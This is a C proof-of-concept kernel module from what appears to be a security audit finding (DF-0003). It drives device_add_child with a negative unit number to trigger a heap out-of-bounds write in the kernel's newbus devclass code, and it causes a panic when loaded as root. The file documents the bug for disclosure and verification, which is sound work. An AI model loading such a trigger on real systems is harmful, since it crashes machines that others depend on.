DF-0003 / poc_negunit.c
/* * DF-0003 PoC - devclass_alloc_unit() negative-unit heap out-of-bounds write. * * The bug (memory-safety, CERTAIN): * devclass_alloc_unit() only treats unit == -1 as a wildcard. Any other * negative unit (e.g. -2) enters the "wired unit" branch but skips the * existing-device check (guarded by `unit >= 0', sys/kern/subr_bus.c:1073) * and the table-extension check (guarded by `unit >= dc->maxunit', * sys/kern/subr_bus.c:1094), so it returns success with the negative unit. * devclass_add_device() then executes * * dc->devices[dev->unit] = dev; // sys/kern/subr_bus.c:1144 * * i.e. an 8-byte pointer write at a NEGATIVE index into the kmalloc'd * dc->devices array -- a heap out-of-bounds write before the allocation. * device_set_unit() has a matching OOB read at sys/kern/subr_bus.c:2172. * * Trigger: device_add_child(root_bus, "<name>", UNITVAL). Build two variants: * * poc_ctrl.ko : UNITVAL = 0 (valid unit; the normal newbus path -- the * control. Must load cleanly.) * * poc_trig.ko : UNITVAL = -2 (negative unit; the trigger. Must crash.) * * REACHABILITY: there is no unprivileged-userspace producer of a negative * unit in the default kernel; the unit originates from in-tree bus driver * code (device_add_child*) or loader hints (root-controlled). This module * drives the buggy sink directly. It requires root to kldload, but proves * the memory-corruption sink fires at runtime on the audited kernel. */ #include <sys/param.h> #include <sys/module.h> #include <sys/kernel.h> #include <sys/systm.h> /* Avoid <sys/bus.h>: on x86_64 it drags in platform/APIC bus_dma headers * unrelated to this bug. The newbus symbols we touch are exported by the * running kernel and resolved at kldload time. */ struct bsd_device; typedef struct bsd_device *device_t; extern device_t root_bus; extern device_t device_add_child(device_t, const char *, int); #ifndef UNITVAL #define UNITVAL (-2) /* the trigger by default */ #endif #ifndef UNITNAME #define UNITNAME "df3neg" #endif static int poc_modev(module_t m, int what, void *arg) { device_t child; (void)m; (void)arg; switch (what) { case MOD_LOAD: child = device_add_child(root_bus, UNITNAME, UNITVAL); /* If UNITVAL is negative this kprintf is never reached: the * OOB write inside devclass_add_device corrupts memory and a * following strcmp in the newbus path faults -> kernel panic. */ kprintf("DF0003: unit=%d name=\"%s\" -> %s (child=%p)\n", UNITVAL, UNITNAME, child ? "OK" : "FAIL/NULL", child); break; case MOD_UNLOAD: break; default: break; } return 0; } static moduledata_t poc_mod = { "poc_negunit", poc_modev, 0 }; DECLARE_MODULE(poc_negunit, poc_mod, SI_SUB_CONFIGURE, SI_ORDER_MIDDLE); MODULE_VERSION(poc_negunit, 1); |